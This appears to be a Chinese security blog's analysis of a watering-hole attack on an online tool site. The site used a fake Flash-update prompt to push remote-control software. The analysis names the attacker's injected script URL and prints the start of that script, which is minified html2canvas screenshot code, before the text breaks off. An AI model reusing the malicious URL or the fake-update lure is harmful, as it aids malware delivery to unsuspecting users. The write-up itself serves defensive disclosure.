7.22在线工具水坑攻击分析
0x01 事件概览
近期在进行数据base64解码时,在百度搜在线工具箱,捕获了一起利用flash版本过低为话术,诱导用户下载安装山东 固信合法终端控制程序进行水坑攻击的case.
https://playdo.com 提示flash版本过低,请及时升级到最新版本!
0x02 事件分析
查看网络请求发现页面加载了攻击者注入的恶意js .http://x0.nz/h7DZ
http://x0.nz/h7DZ 内容
// https://github.com/niklasvh/html2canvas
!function(t,e,n){function r(t,e,n,r){return c(t,n,r,e).then(function(a){E("Document cloned");var c="["+Ee+"='true']";t.querySelector(c).removeAttribute(Ee);var h=a.contentWindow,u=h.document.querySelector(c),p=new de(h.document),l=new m(e,p),d=B(u),f="view"===e.type?Math.min(d.width,n):o(),g="view"===e.type?Math.min(d.height,r):s(),y=new xe(f,g,l,e),v=new P(u,y,p,l,e);return v.ready.then(function(){E("Finished rendering");var t="view"===e.type||u!==h.document.body&&u!==h.document.documentElement?i(y.canvas,d):y.canvas;return e.removeContainer&&(a.parentNode.removeChild(a),E("Cleaned up container")),t})})}function i(t,n){var r=e.createElement("canvas"),i=Math.min(t.width-1,Math.max(0,n.left)),o=Math.min(t.width,Math.max(1,n.left+n.width)),s=Math.min(t.height-1,Math.max(0,n.top)),a=Math.min(t.height,Math.max(1,n.top+n.height)),c=r.width=o-i,h=r.height=a-s;return E("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",n.width,"height:",n.height),E("Resulting crop with width",c,"and height",h," with x",i,"and y",s),r.getContext("2d").drawImage(t,i,s,c,h,0,0,c,h),r}function o(){return Math.max(Math.max(e.body.scrollWidth,e.documentElement.scrollWidth),Math.max(e.body.offsetWidth,e.documentElement.offsetWidth),Math.max(e.body.clientWidth,e.documentElement.clientWidth))}function s(){return Math.max(Math.max(e.body.scrollHeight,e.documentElement.scrollHeight),Math.max(e.body.offsetHeight,e.documentElement.offsetHeight),Math.max(e.body.clientHeight,e.documentElement.clientHeight))}function a(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function c(e,n,r,i){var o=e.documentElement.cloneNode(!0),s=e.createElement("iframe");return s.style.visibility="hidden",s.style.position="absolute",s.style.left=s.style.top="-10000px",s.width=n,s.height=r,s.scrolling="no",e.body.appendChild(s),new Promise(function(e){var n=s.contentWindow.document;s.contentWindow.onload=s.onload=function(){e(s)},n.open(),n.write("<!DOCTYPE html>"),n.close(),n.replaceChild(h(n.adoptNode(o)),n.documentElement),"view"===i.type&&s.contentWindow.scrollTo(t.pageXOffset,t.pageYOffset)})}function h(t){return[].slice.call(t.childNodes,0).filter(u).forEach(function(e){"SCRIPT"===e.tagName?t.removeChild(e):h(e)}),t}function u(t){return t.nodeType===Node.ELEMENT_NODE}function p(t){if(this.src=t,E("DummyImageContainer for",t),!this.promise||!this.image){E("Initiating DummyImageContainer"),p.prototype.image=new Image;var e=this.image;p.prototype.promise=new Promise(function(t,n){e.onload=t,e.onerror=n,e.src=a(),e.complete===!0&&t(e)})}}function l(t,n){var r,i,o=e.createElement("div"),s=e.createElement("img"),c=e.createElement("span"),h="Hidden Text";o.style.visibility="hidden",o.style.fontFamily=t,o.style.fontSize=n,o.style.margin=0,o.style.padding=0,e.body.appendChild(o),s.src=a(),s.width=1,s.height=1,s.style.margin=0,s.style.padding=0,s.style.verticalAlign="baseline",c.style.fontFamily=t,c.style.fontSize=n,c.style.margin=0,c.style.padding=0,c.appendChild(e.createTextNode(h)),o.appendChild(c),o.appendChild(s),r=s.offsetTop-c.offsetTop+1,o.removeChild(c),o.appendChild(e.createTextNode(h)),o.style.lineHeight="normal",s.style.verticalAlign="super",i=s.offsetTop-o.offsetTop+1,e.body.removeChild(o),this.baseline=r,this.lineWidth=1,this.middle=i}function d(){this.data={}}function f(t){this.src=t.value,this.colorStops=[],this.type=null,this.x0=.5,this.y0=.5,this.x1=.5,this.y1=.5,this.promise=Promise.resolve(!0)}function g(t,e){this.src=t,this.image=new Image;var n=this;this.tainted=null,this.promise=new Promise(function(r,i){n.image.onload=r,n.image.onerror=i,e&&(n.image.crossOrigin="anonymous"),n.image.src=t,n.image.complete===!0&&r(n.image)})["catch"](function(){var e=new p(t);return e.promise.then(function(t){n.image=t})})}function m(e,n){this.link=null,this.options=e,this.support=n,this.origin=t.location.protocol+t.location.hostname+t.location.port}function y(t){return"IMG"===t.node.nodeName}function v(t){return"svg"===t.node.nodeName}function w(t){return{args:[t.node.src],method:"url"}}function b(t){return{args:[t.node],method:"svg"}}function x(t){f.apply(this,arguments),this.type=this.TYPES.LINEAR;var e=null===t.args[0].match(this.stepRegExp);e?t.args[0].split(" ").reverse().forEach(function(t){switch(t){case"left":this.x0=0,this.x1=1;break;case"top":this.y0=0,this.y1=1;break;case"right":this.x0=1,this.x1=0;break;case"bottom":this.y0=1,this.y1=0;break;case"to":var e=this.y0,n=this.x0;this.y0=this.y1,this.x0=this.x1,this.x1=n,this.y1=e;break;default:var r=t.match(this.angleRegExp);if(r)switch(r[2]){case"deg":var i=parseFloat(r[1]),o=i/(180/Math.PI),s=Math.tan(o);this.y0=2/Math.tan(s)/2,this.x0=0,this.x1=1,this.y1=0}}},this):(this.y0=0,this.y1=1),this.colorStops=t.args.slice(e?1:0).map(function(t){var e=t.match(this.stepRegExp);return{color:e[1],stop:"%"===e[3]?e[2]/100:null}},this),null===this.colorStops[0].stop&&(this.colorStops[0].stop=0),null===this.colorStops[this.colorStops.length-1].stop&&(this.colorStops[this.colorStops.length-1].stop=1),this.colorStops.forEach(function(t,e){null===t.stop&&this.colorStops.slice(e).some(function(n,r){return null!==n.stop?(t.stop=(n.stop-this.colorStops[e-1].stop)/(r+1)+this.colorStops[e-1].stop,!0):!1},this)},this)}function E(){t.html2canvas.logging&&t.console&&t.console.log&&Function.prototype.bind.call(t.console.log,t.console).apply(t.console,[Date.now()-t.html2canvas.start+"ms","html2canvas:"].concat([].slice.call(arguments,0)))}function T(t,e){this.node=t,this.parent=e,this.stack=null,this.bounds=null,this.offsetBounds=null,this.visible=null,this.computedStyles=null,this.styles={},this.backgroundImages=null,this.transformData=null,this.transformMatrix=null}function C(t){var e=t.options[t.selectedIndex||0];return e?e.text||"":""}function k(t){return t&&"matrix"===t[1]?t[2].split(",").map(function(t){return parseFloat(t.trim())}):void 0}function I(t){return-1!==t.toString().indexOf("%")}function S(t){var e,n,r,i,o,s,a,c=" \r\n ",h=[],u=0,p=0,l=function(){e&&('"'===n.substr(0,1)&&(n=n.substr(1,n.length-2)),n&&a.push(n),"-"===e.substr(0,1)&&(i=e.indexOf("-",1)+1)>0&&(r=e.substr(0,i),e=e.substr(i)),h.push({prefix:r,method:e.toLowerCase(),value:o,args:a,image:null})),a=[],e=r=n=o=""};return a=[],e=r=n=o="",t.split("").forEach(function(t){if(!(0===u&&c.indexOf(t)>-1)){switch(t){case'"':s?s===t&&(s=null):s=t;break;case"(":if(s)break;if(0===u)return u=1,void(o+=t);p++;break;case")":if(s)break;if(1===u){if(0===p)return u=0,o+=t,void l();p--}break;case",":if(s)break;if(0===u)return void l();if(1===u&&0===p&&!e.match(/^url$/i))return a.push(n),n="",void(o+=t)}o+=t,0===u?e+=t:n+=t}}),l(),h}function R(t){return t.replace("px","")}function O(t){return parseFloat(t)}function B(t){if(t.getBoundingClientRect){var e=t.getBoundingClientRect(),n="BODY"===t.nodeName,r=n?t.scrollWidth:null==t.offsetWidth?e.width:t.offsetWidth;return{top:e.top,bottom:e.bottom||e.top+e.height,right:e.left+r,left:e.left,width:r,height:n?t.scrollHeight:null==t.offsetHeight?e.height:t.offsetHeight}}return{}}function M(t){var e=t.offsetParent?M(t.offsetParent):{top:0,left:0};return{top:t.offsetTop+e.top,bottom:t.offsetTop+t.offsetHeight+e.top,right:t.offsetLeft+e.left+t.offsetWidth,left:t.offsetLeft+e.left,width:t.offsetWidth,height:t.offsetHeight}}function P(t,e,n,r,i){E("Starting NodeParser"),this.renderer=e,this.options=i,this.range=null,this.support=n,this.renderQueue=[],this.stack=new le(!0,1,t.ownerDocument,null);var o=new T(t,null);t!==t.ownerDocument.documentElement&&this.renderer.isTransparent(o.css("backgroundColor"))&&e.rectangle(0,0,e.width,e.height,new T(t.ownerDocument.documentElement,null).css("backgroundColor")),o.visibile=o.isElementVisible(),this.createPseudoHideStyles(t.ownerDocument),this.nodes=ce([o].concat(this.getChildren(o)).filter(function(t){return t.visible=t.isElementVisible()}).map(this.getPseudoElements,this)),this.fontMetrics=new d,E("Fetched nodes"),this.images=r.fetch(this.nodes.filter(te)),E("Creating stacking contexts"),this.createStackingContexts(),E("Sorting stacking contexts"),this.sortStackingContexts(this.stack),this.ready=this.images.ready.then(ie(function(){return E("Images loaded, starting parsing"),this.parse(this.stack),E("Render queue created with "+this.renderQueue.length+" items"),new Promise(ie(function(t){i.async?"function"==typeof i.async?i.async.call(this,this.renderQueue,t):(this.renderIndex=0,this.asyncRenderer(this.renderQueue,t)):(this.renderQueue.forEach(this.paint,this),t())},this))},this))}function A(t){return t.replace(/(\-[a-z])/g,function(t){return t.toUpperCase().replace("-","")})}function N(){}function L(t,e,n,r){var i=4*((Math.sqrt(2)-1)/3),o=n*i,s=r*i,a=t+n,c=e+r;return{topLeft:_({x:t,y:c},{x:t,y:c-s},{x:a-o,y:e},{x:a,y:e}),topRight:_({x:t,y:e},{x:t+o,y:e},{x:a,y:c-s},{x:a,y:c}),bottomRight:_({x:a,y:e},{x:a,y:e+s},{x:t+o,y:c},{x:t,y:c}),bottomLeft:_({x:a,y:c},{x:a-o,y:c},{x:t,y:e+s},{x:t,y:e})}}function D(t,e,n){var r=t.left,i=t.top,o=t.width,s=t.height,a=e[0][0],c=e[0][1],h=e[1][0],u=e[1][1],p=e[2][0],l=e[2][1],d=e[3][0],f=e[3][1],g=o-h,m=s-l,y=o-p,v=s-f;return{topLeftOuter:L(r,i,a,c).topLeft.subdivide(.5),topLeftInner:L(r+n[3].width,i+n[0].width,Math.max(0,a-n[3].width),Math.max(0,c-n[0].width)).topLeft.subdivide(.5),topRightOuter:L(r+g,i,h,u).topRight.subdivide(.5),topRightInner:L(r+Math.min(g,o+n[3].width),i+n[0].width,g>o+n[3].width?0:h-n[3].width,u-n[0].width).topRight.subdivide(.5),bottomRightOuter:L(r+y,i+m,p,l).bottomRight.subdivide(.5),bottomRightInner:L(r+Math.min(y,o+n[3].width),i+Math.min(m,s+n[0].width),Math.max(0,p-n[1].width),Math.max(0,l-n[2].width)).bottomRight.subdivide(.5),bottomLeftOuter:L(r,i+v,d,f).bottomLeft.subdivide(.5),bottomLeftInner:L(r+n[3].width,i+v,Math.max(0,d-n[3].width),Math.max(0,f-n[2].width)).bottomLeft.subdivide(.5)}}function _(t,e,n,r){var i=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(o){var s=i(t,e,o),a=i(e,n,o),c=i(n,r,o),h=i(s,a,o),u=i(a,c,o),p=i(h,u,o);return[_(t,s,h,p),_(p,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,i,o,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",o[0].start.x,o[0].start.y]),o[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",i[1].end.x,i[1].end.y]),i[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function W(t,e,n,r,i,o,s){e[0]>0||e[1]>0?(t.push(["line",r[0].start.x,r[0].start.y]),r[0].curveTo(t),r[1].curveTo(t)):t.push(["line",o,s]),(n[0]>0||n[1]>0)&&t.push(["line",i[0].start.x,i[0].start.y])}function H(t){return t.cssInt("zIndex")<0}function j(t){return t.cssInt("zIndex")>0}function V(t){return 0===t.cssInt("zIndex")}function z(t){return-1!==["inline","inline-block","inline-table"].indexOf(t.css("display"))}function Y(t){return t instanceof le}function X(t){return t.node.data.trim().length>0}function G(t){return/^(normal|none|0px)$/.test(t.parent.css("letterSpacing"))}function U(t){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(e){var n=t.css("border"+e+"Radius"),r=n.split(" ");return r.length<=1&&(r[1]=r[0]),r.map(oe)})}function Q(t){return t.nodeType===Node.TEXT_NODE||t.nodeType===Node.ELEMENT_NODE}function q(t){var e=t.css("position"),n="absolute"===e||"relative"===e?t.css("zIndex"):"auto";return"auto"!==n}function $(t){return"static"!==t.css("position")}function J(t){return"none"!==t.css("float")}function K(t){return-1!==["inline-block","inline-table"].indexOf(t.css("display"))}function Z(t){var e=this;return function(){return!t.apply(e,arguments)}}function te(t){return t.node.nodeType===Node.ELEMENT_NODE}function ee(t){return t.node.nodeType===Node.TEXT_NODE}function ne(t,e){return t.cssInt("zIndex")-e.cssInt("zIndex")}function re(t){return t.css("opacity")<1}function ie(t,e){return function(){return t.apply(e,arguments)}}function oe(t){return parseInt(t,10)}function se(t){return t.width}function ae(t){return t.node.nodeType!==Node.ELEMENT_NODE||-1===["SCRIPT","HEAD","TITLE","OBJECT","BR","OPTION"].indexOf(t.node.nodeName)}function ce(t){return[].concat.apply([],t)}function he(t){var e=t.substr(0,1);return e===t.substr(t.length-1)&&e.match(/'|"/)?t.substr(1,t.length-2):t}function ue(r,i){var o="html2canvas_"+Te++,s=e.createElement("script"),a=e.createElement("a");a.href=r,r=a.href;var c=i+(i.indexOf("?")>-1?"&":"?")+"url="+encodeURIComponent(r)+"&callback="+o;this.src=r,this.image=new Image;var h=this;this.promise=new Promise(function(r,i){h.image.onload=r,h.image.onerror=i,t[o]=function(e){"error:"===e.substring(0,6)?i():h.image.src=e,t[o]=n;try{delete t[o]}catch(r){}s.parentNode.removeChild(s)},s.setAttribute("type","text/javascript"),s.setAttribute("src",c),e.body.appendChild(s)})["catch"](function(){var t=new p(r);return t.promise.then(function(t){h.image=t})})}function pe(t,e,n,r){this.width=t,this.height=e,this.images=n,this.options=r}function le(t,e,n,r){T.call(this,n,r),this.ownStacking=t,this.contexts=[],this.children=[],this.opacity=(this.parent?this.parent.stack.opacity:1)*e}function de(t){this.rangeBounds=this.testRangeBounds(t),this.cors=this.testCORS(),this.svg=this.testSVG()}function fe(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return e.isInline(t)?Promise.resolve(e.inlineFormatting(t)):be(t)}).then(function(t){return new Promise(function(n){html2canvas.fabric.loadSVGFromString(t,e.createCanvas.call(e,n))})})}function ge(t){var e,n,r,i,o,s,a,c,h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",u=t.length,p="";for(e=0;u>e;e+=4)n=h.indexOf(t[e]),r=h.indexOf(t[e+1]),i=h.indexOf(t[e+2]),o=h.indexOf(t[e+3]),s=n<<2|r>>4,a=(15&r)<<4|i>>2,c=(3&i)<<6|o,p+=64===i?String.fromCharCode(s):64===o||-1===o?String.fromCharCode(s,a):String.fromCharCode(s,a,c);return p}function me(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return new Promise(function(n){html2canvas.fabric.parseSVGDocument(t,e.createCanvas.call(e,n))})})}function ye(t,e){T.call(this,t,e)}function ve(t,e,n){return t.length>0?e+n.toUpperCase():void 0}function we(t){f.apply(this,arguments),this.type="linear"===t.args[0]?this.TYPES.LINEAR:this.TYPES.RADIAL}function be(t){return new Promise(function(e,n){var r=new XMLHttpRequest;r.open("GET",t),r.onload=function(){200===r.status?e(r.responseText):n(new Error(r.statusText))},r.onerror=function(){n(new Error("Network Error"))},r.send()})}function xe(t,n){pe.apply(this,arguments),this.canvas=e.createElement("canvas"),this.canvas.width=t,this.canvas.height=n,this.ctx=this.canvas.getContext("2d"),this.taintCtx=e.createElement("canvas").getContext("2d"),this.ctx.textBaseline="bottom",this.variables={},E("Initialized CanvasRenderer")}if(!function(){var n,r,i,o;!function(){var t={},e={};n=function(e,n,r){t[e]={deps:n,callback:r}},o=i=r=function(n){function i(t){if("."!==t.charAt(0))return t;for(var e=t.split("/"),r=n.split("/").slice(0,-1),i=0,o=e.length;o>i;i++){var s=e[i];if(".."===s)r.pop();else{if("."===s)continue;r.push(s)}}return r.join("/")}if(o._eak_seen=t,e[n])return e[n];if(e[n]={},!t[n])throw new Error("Could not find module "+n);for(var s,a=t[n],c=a.deps,h=a.callback,u=[],p=0,l=c.length;l>p;p++)u.push("exports"===c[p]?s={}:r(i(c[p])));var d=h.apply(this,u);return e[n]=s||d}}(),n("promise/all",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw new TypeError("You must pass an array to all.");return new e(function(e,n){function r(t){return function(e){o(t,e)}}function o(t,n){a[t]=n,0===--c&&e(a)}var s,a=[],c=t.length;0===c&&e([]);for(var h=0;h<t.length;h++)s=t[h],s&&i(s.then)?s.then(r(h),n):o(h,s)})}var r=t.isArray,i=t.isFunction;e.all=n}),n("promise/asap",["exports"],function(n){"use strict";function r(){return function(){process.nextTick(s)}}function i(){var t=0,n=new u(s),r=e.createTextNode("");return n.observe(r,{characterData:!0}),function(){r.data=t=++t%2}}function o(){return function(){p.setTimeout(s,1)}}function s(){for(var t=0;t<l.length;t++){var e=l[t],n=e[0],r=e[1];n(r)}l=[]}function a(t,e){var n=l.push([t,e]);1===n&&c()}var c,h="undefined"!=typeof t?t:{},u=h.MutationObserver||h.WebKitMutationObserver,p="undefined"!=typeof global?global:this,l=[];c="undefined"!=typeof process&&"[object process]"==={}.toString.call(process)?r():u?i():o(),n.asap=a}),n("promise/cast",["exports"],function(t){"use strict";function e(t){if(t&&"object"==typeof t&&t.constructor===this)return t;var e=this;return new e(function(e){e(t)})}t.cast=e}),n("promise/config",["exports"],function(t){"use strict";function e(t,e){return 2!==arguments.length?n[t]:void(n[t]=e)}var n={instrument:!1};t.config=n,t.configure=e}),n("promise/polyfill",["./promise","./utils","exports"],function(e,n,r){"use strict";function i(){var e="Promise"in t&&"cast"in t.Promise&&"resolve"in t.Promise&&"reject"in t.Promise&&"all"in t.Promise&&"race"in t.Promise&&function(){var e;return new t.Promise(function(t){e=t}),s(e)}();e||(t.Promise=o)}var o=e.Promise,s=n.isFunction;r.polyfill=i}),n("promise/promise",["./config","./utils","./cast","./all","./race","./resolve","./reject","./asap","exports"],function(t,e,n,r,i,o,s,a,c){"use strict";function h(t){if(!E(t))throw new TypeError("You must pass a resolver function as the first argument to the promise constructor");if(!(this instanceof h))throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.");this._subscribers=[],u(t,this)}function u(t,e){function n(t){g(e,t)}function r(t){y(e,t)}try{t(n,r)}catch(i){r(i)}}function p(t,e,n,r){var i,o,s,a,c=E(n);if(c)try{i=n(r),s=!0}catch(h){a=!0,o=h}else i=r,s=!0;f(e,i)||(c&&s?g(e,i):a?y(e,o):t===M?g(e,i):t===P&&y(e,i))}function l(t,e,n,r){var i=t._subscribers,o=i.length;i[o]=e,i[o+M]=n,i[o+P]=r}function d(t,e){for(var n,r,i=t._subscribers,o=t._detail,s=0;s<i.length;s+=3)n=i[s],r=i[s+e],p(e,n,r,o);t._subscribers=null}function f(t,e){var n,r=null;try{if(t===e)throw new TypeError("A promises callback cannot return that same promise.");if(x(e)&&(r=e.then,E(r)))return r.call(e,function(r){return n?!0:(n=!0,void(e!==r?g(t,r):m(t,r)))},function(e){return n?!0:(n=!0,void y(t,e))}),!0}catch(i){return n?!0:(y(t,i),!0)}return!1}function g(t,e){t===e?m(t,e):f(t,e)||m(t,e)}function m(t,e){t._state===O&&(t._state=B,t._detail=e,b.async(v,t))}function y(t,e){t._state===O&&(t._state=B,t._detail=e,b.async(w,t))}function v(t){d(t,t._state=M)}function w(t){d(t,t._state=P)}var b=t.config,x=(t.configure,e.objectOrFunction),E=e.isFunction,T=(e.now,n.cast),C=r.all,k=i.race,I=o.resolve,S=s.reject,R=a.asap;b.async=R;var O=void 0,B=0,M=1,P=2;h.prototype={constructor:h,_state:void 0,_detail:void 0,_subscribers:void 0,then:function(t,e){var n=this,r=new this.constructor(function(){});if(this._state){var i=arguments;b.async(function(){p(n._state,r,i[n._state-1],n._detail)})}else l(this,r,t,e);return r},"catch":function(t){return this.then(null,t)}},h.all=C,h.cast=T,h.race=k,h.resolve=I,h.reject=S,c.Promise=h}),n("promise/race",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw new TypeError("You must pass an array to race.");return new e(function(e,n){for(var r,i=0;i<t.length;i++)r=t[i],r&&"function"==typeof r.then?r.then(e,n):e(r)})}var r=t.isArray;e.race=n}),n("promise/reject",["exports"],function(t){"use strict";function e(t){var e=this;return new e(function(e,n){n(t)})}t.reject=e}),n("promise/resolve",["exports"],function(t){"use strict";function e(t){var e=this;return new e(function(e){e(t)})}t.resolve=e}),n("promise/utils",["exports"],function(t){"use strict";function e(t){return n(t)||"object"==typeof t&&null!==t}function n(t){return"function"==typeof t}function r(t){return"[object Array]"===Object.prototype.toString.call(t)}var i=Date.now||function(){return(new Date).getTime()};t.objectOrFunction=e,t.isFunction=n,t.isArray=r,t.now=i}),r("promise/polyfill").polyfill()}(),"function"!=typeof Object.create||"function"!=typeof e.createElement("canvas").getContext)return void(t.html2canvas=function(){return Promise.reject("No canvas support")});var Ee="data-html2canvas-node";t.html2canvas=function(i,o){o=o||{},o.logging&&(t.html2canvas.logging=!0,t.html2canvas.start=Date.now()),o.async="undefined"==typeof o.async?!0:o.async,o.allowTaint="undefined"==typeof o.allowTaint?!1:o.allowTaint,o.removeContainer="undefined"==typeof o.removeContainer?!0:o.removeContainer;var s=(i===n?[e.documentElement]:i.length?i:[i])[0];return s.setAttribute(Ee,"true"),r(s.ownerDocument,o,t.innerWidth,t.innerHeight).then(function(t){return"function"==typeof o.onrendered&&(E("options.onrendered is deprecated, html2canvas returns a Promise containing the canvas"),o.onrendered(t)),t})},d.prototype.getMetrics=function(t,e){return this.data[t+"-"+e]===n&&(this.data[t+"-"+e]=new l(t,e)),this.data[t+"-"+e]},f.prototype.TYPES={LINEAR:1,RADIAL:2},f.prototype.angleRegExp=/([+-]?\d*\.?\d+)(deg|grad|rad|turn)/,m.prototype.findImages=function(t){var e=[];return t.filter(y).map(w).forEach(this.addImage(e,this.loadImage),this),t.filter(v).map(b).forEach(this.addImage(e,this.loadImage),this),e},m.prototype.findBackgroundImage=function(t,e){return e.parseBackgroundImages().filter(this.hasImageBackground).forEach(this.addImage(t,this.loadImage),this),t},m.prototype.addImage=function(t,e){return function(n){n.args.forEach(function(r){this.imageExists(t,r)||(t.splice(0,0,e.call(this,n)),E("Added image #"+t.length,"string"==typeof r?r.substring(0,100):r))},this)}},m.prototype.hasImageBackground=function(t){return"none"!==t.method},m.prototype.loadImage=function(t){if("url"===t.method){var e=t.args[0];return!this.isSVG(e)||this.support.svg||this.options.allowTaint?e.match(/data:image\/.*;base64,/i)?new g(e.replace(/url\(['"]{0,}|['"]{0,}\)$/gi,""),!1):this.isSameOrigin(e)||this.options.allowTaint===!0||this.isSVG(e)?new g(e,!1):this.support.cors&&!this.options.allowTaint&&this.options.useCORS?new g(e,!0):this.options.proxy?new ue(e,this.options.proxy):new p(e):new fe(e)}return"linear-gradient"===t.method?new x(t):"gradient"===t.method?new we(t):"svg"===t.method?new me(t.args[0]):new p(t)},m.prototype.isSVG=function(t){return/(.+).svg$/i.test(t)||fe.prototype.isInline(t)},m.prototype.imageExists=function(t,e){return t.some(function(t){return t.src===e})},m.prototype.isSameOrigin=function(t){var n=this.link||(this.link=e.createElement("a"));n.href=t,n.href=n.href;var r=n.protocol+n.hostname+n.port;return r===this.origin},m.prototype.getPromise=function(t){return t.promise},m.prototype.get=function(t){var e=null;return this.images.some(function(n){return(e=n).src===t})?e:null},m.prototype.fetch=function(t){return this.images=t.reduce(ie(this.findBackgroundImage,this),this.findImages(t)),this.images.forEach(function(t,e){t.promise.then(function(){E("Succesfully loaded image #"+(e+1))},function(){E("Failed loading image #"+(e+1))})}),this.ready=Promise.all(this.images.map(this.getPromise)),E("Finished searching images"),this},x.prototype=Object.create(f.prototype),x.prototype.stepRegExp=/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/,T.prototype.assignStack=function(t){this.stack=t,t.children.push(this)},T.prototype.isElementVisible=function(){return this.node.nodeType===Node.TEXT_NODE?this.parent.visible:"none"!==this.css("display")&&"hidden"!==this.css("visibility")&&!this.node.hasAttribute("data-html2canvas-ignore")},T.prototype.css=function(t){return this.computedStyles||(this.computedStyles=this.computedStyle(null)),this.styles[t]||(this.styles[t]=this.computedStyles[t])},T.prototype.prefixedCss=function(t){var e=["webkit","moz","ms","o"],r=this.css(t);return r===n&&e.some(function(e){return r=this.css(e+t.substr(0,1).toUpperCase()+t.substr(1)),r!==n},this),r===n?null:r},T.prototype.computedStyle=function(t){return this.node.ownerDocument.defaultView.getComputedStyle(this.node,t)},T.prototype.cssInt=function(t){var e=parseInt(this.css(t),10);return isNaN(e)?0:e},T.prototype.cssFloat=function(t){var e=parseFloat(this.css(t));return isNaN(e)?0:e},T.prototype.fontWeight=function(){var t=this.css("fontWeight");switch(parseInt(t,10)){case 401:t="bold";break;case 400:t="normal"}return t},T.prototype.parseBackgroundImages=function(){return this.backgroundImages||(this.backgroundImages=S(this.css("backgroundImage")))},T.prototype.cssList=function(t,e){var n=(this.css(t)||"").split(",");return n=n[e||0]||n[0]||"auto",n=n.trim().split(" "),1===n.length&&(n=[n[0],n[0]]),n},T.prototype.parseBackgroundSize=function(t,e,n){var r,i,o=this.cssList("backgroundSize",n);if(I(o[0]))r=t.width*parseFloat(o[0])/100;else{if(/contain|cover/.test(o[0])){var s=t.width/t.height,a=e.width/e.height;return a>s^"contain"===o[0]?{width:t.height*a,height:t.height}:{width:t.width,height:t.width/a}}r=parseInt(o[0],10)}return i="auto"===o[0]&&"auto"===o[1]?e.height:"auto"===o[1]?r/e.width*e.height:I(o[1])?t.height*parseFloat(o[1])/100:parseInt(o[1],10),"auto"===o[0]&&(r=i/e.height*e.width),{width:r,height:i}},T.prototype.parseBackgroundPosition=function(t,e,n,r){var i,o,s=this.cssList("backgroundPosition",n);return i=I(s[0])?(t.width-(r||e).width)*(parseFloat(s[0])/100):parseInt(s[0],10),o="auto"===s[1]?i/e.width*e.height:I(s[1])?(t.height-(r||e).height)*parseFloat(s[1])/100:parseInt(s[1],10),"auto"===s[0]&&(i=o/e.height*e.width),{left:i,top:o}},T.prototype.parseBackgroundRepeat=function(t){return this.cssList("backgroundRepeat",t)[0]},T.prototype.parseTextShadows=function(){var t=this.css("textShadow"),e=[];if(t&&"none"!==t)for(var n=t.match(this.TEXT_SHADOW_PROPERTY),r=0;n&&r<n.length;r++){var i=n[r].match(this.TEXT_SHADOW_VALUES);e.push({color:i[0],offsetX:i[1]?i[1].replace("px",""):0,offsetY:i[2]?i[2].replace("px",""):0,blur:i[3]?i[3].replace("px",""):0})}return e},T.prototype.parseTransform=function(){if(!this.transformData)if(this.hasTransform()){var t=this.parseBounds(),e=this.prefixedCss("transformOrigin").split(" ").map(R).map(O);e[0]+=t.left,e[1]+=t.top,this.transformData={origin:e,matrix:this.parseTransformMatrix()}}else this.transformData={origin:[0,0],matrix:[1,0,0,1,0,0]};return this.transformData},T.prototype.parseTransformMatrix=function(){if(!this.transformMatrix){var t=this.prefixedCss("transform"),e=t?k(t.match(this.MATRIX_PROPERTY)):null;this.transformMatrix=e?e:[1,0,0,1,0,0]}return this.transformMatrix},T.prototype.parseBounds=function(){return this.bounds||(this.bounds=this.hasTransform()?M(this.node):B(this.node))},T.prototype.hasTransform=function(){return"1,0,0,1,0,0"!==this.parseTransformMatrix().join(",")||this.parent&&this.parent.hasTransform()},T.prototype.getValue=function(){var t=this.node.value||"";return t="SELECT"===this.node.tagName?C(this.node):t,0===t.length?this.node.placeholder||"":t},T.prototype.MATRIX_PROPERTY=/(matrix)\((.+)\)/,T.prototype.TEXT_SHADOW_PROPERTY=/((rgba|rgb)\([^\)]+\)(\s-?\d+px){0,})/g,T.prototype.TEXT_SHADOW_VALUES=/(-?\d+px)|(#.+)|(rgb\(.+\))|(rgba\(.+\))/g,P.prototype.asyncRenderer=function(t,e,n){n=n||Date.now(),this.paint(t[this.renderIndex++]),t.length===this.renderIndex?e():n+20>Date.now()?this.asyncRenderer(t,e,n):setTimeout(ie(function(){this.asyncRenderer(t,e)},this),0)},P.prototype.createPseudoHideStyles=function(t){var e=t.createElement("style");e.innerHTML="."+this.pseudoHideClass+':before { content: ""; display: none; }.'+this.pseudoHideClass+':after { content: ""; display: none; }',t.body.appendChild(e)},P.prototype.getPseudoElements=function(t){var e=[[t]];if(t.node.nodeType===Node.ELEMENT_NODE){var n=this.getPseudoElement(t,":before"),r=this.getPseudoElement(t,":after");n&&(t.node.insertBefore(n[0].node,t.node.firstChild),e.push(n)),r&&(t.node.appendChild(r[0].node),e.push(r)),(n||r)&&(t.node.className+=" "+this.pseudoHideClass)}return ce(e)},P.prototype.getPseudoElement=function(t,n){var r=t.computedStyle(n);if(!r||!r.content||"none"===r.content||"-moz-alt-content"===r.content||"none"===r.display)return null;for(var 